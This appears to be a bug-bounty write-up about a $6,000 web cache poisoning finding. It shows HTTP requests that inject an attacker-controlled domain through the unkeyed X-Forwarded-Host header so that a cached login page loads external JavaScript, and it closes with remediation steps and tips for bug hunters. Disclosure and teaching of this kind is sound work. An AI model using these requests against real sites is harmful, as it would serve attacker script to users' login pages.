August 23, 2026
How an Unsanitized Header Generated a $6,000 Bounty via Cache Poisoning
When auditing web applications, developers often assume that caching layers are purely transparent infrastructure — mechanisms designed to…

By T4nv1
2 min read
When auditing web applications, developers often assume that caching layers are purely transparent infrastructure — mechanisms designed to speed up response times without altering how data is processed. However, when a reverse proxy caches a response that relies on unvalidated client-supplied headers, a minor configuration oversight can quickly escalate into a widespread vulnerability.
While testing an enterprise project management platform, the primary authentication flows and API endpoints were thoroughly secured. However, a closer look at how static assets and localized pages were served revealed a Web Cache Poisoning flaw, earning a $6,000 bounty.
Phase 1: Identifying Unkeyed Input
Web caching relies on a "cache key" — typically composed of the request method, the host header, and the URL path — to determine whether to serve a stored response or forward the request to the backend. If an application uses an HTTP header to generate content but that header is not included in the cache key (an "unkeyed header"), any response generated using that header can be saved and served to subsequent users.
While inspecting the headers of the application's homepage, one particular response header stood out:
HTTP
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: public, max-age=3600
X-Cache: MISSHTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: public, max-age=3600
X-Cache: MISSThe X-Cache: MISS header indicated that the response was served directly from the origin server and would be stored in the cache for 3,600 seconds.
Next, the application was tested for unkeyed header handling by injecting a custom X-Forwarded-Host header in the request:
HTTP
GET /login HTTP/1.1
Host: app.target-service.com
X-Forwarded-Host: attacker-controlled-domain.comGET /login HTTP/1.1
Host: app.target-service.com
X-Forwarded-Host: attacker-controlled-domain.comIn the server's response, static JavaScript resource links were dynamically generated using the value supplied in the X-Forwarded-Host header:
HTML
<script src="https://attacker-controlled-domain.com/static/main.js"></script><script src="https://attacker-controlled-domain.com/static/main.js"></script>Phase 2: Poisoning the Cache
Because the cache key only evaluated GET /login and Host: app.target-service.com, the caching layer stored this altered response under the standard URL key.
When the request was repeated without the custom header:
HTTP
GET /login HTTP/1.1
Host: app.target-service.comGET /login HTTP/1.1
Host: app.target-service.comThe server responded with:
HTTP
HTTP/1.1 200 OK
X-Cache: HITHTTP/1.1 200 OK
X-Cache: HITThe cached response containing the external script source was now being served to every legitimate user visiting the /login path. Anyone loading the login page during that cache window would attempt to fetch JavaScript assets from the external domain.
[ Attacker Request w/ Unkeyed Header ] ──> [ Cache Server ] ──> [ Origin Server ]
│ │
(Stores Poisoned) <──(Reflects Header)
Response │
│ │
[ Legitimate User Request ] ─────────────> [ Cache Server ] │
│ │
(Serves Poisoned) ───────────┘
Response[ Attacker Request w/ Unkeyed Header ] ──> [ Cache Server ] ──> [ Origin Server ]
│ │
(Stores Poisoned) <──(Reflects Header)
Response │
│ │
[ Legitimate User Request ] ─────────────> [ Cache Server ] │
│ │
(Serves Poisoned) ───────────┘
ResponseTriage & Technical Impact
The testing was immediately halted, and a cache-invalidation request was communicated to the security team along with the proof-of-concept details.
- Vulnerability Class: Web Cache Poisoning / Unkeyed Header Abuse
- Severity Rating: High
- Time to Triage: 2 Hours
- Final Award: $6,000 Bounty
The remediation involved two key updates:
- Configuring the origin application to build static resource URLs using hardcoded configuration settings rather than reading dynamic request headers like
X-Forwarded-Host. - Updating the reverse proxy rules to strip untrusted
X-Forwarded-*headers at the edge network before requests reach the caching layer.
Critical Lessons for Bug Hunters
- Inspect Unkeyed Headers: Use tools to test how applications handle non-standard or forwarding headers (
X-Forwarded-Host,X-Forwarded-Scheme,X-Original-URL). - Observe Cache Behavior: Look for headers like
X-Cache: HIT/MISSorAgeto verify whether a response is being stored by an intermediate proxy or CDN. - Verify Impact Safely: When demonstrating cache poisoning, use benign domain names or unique cache-busting query parameters (e.g.,
/login?cb=12345) to avoid impacting real users visiting the main endpoint.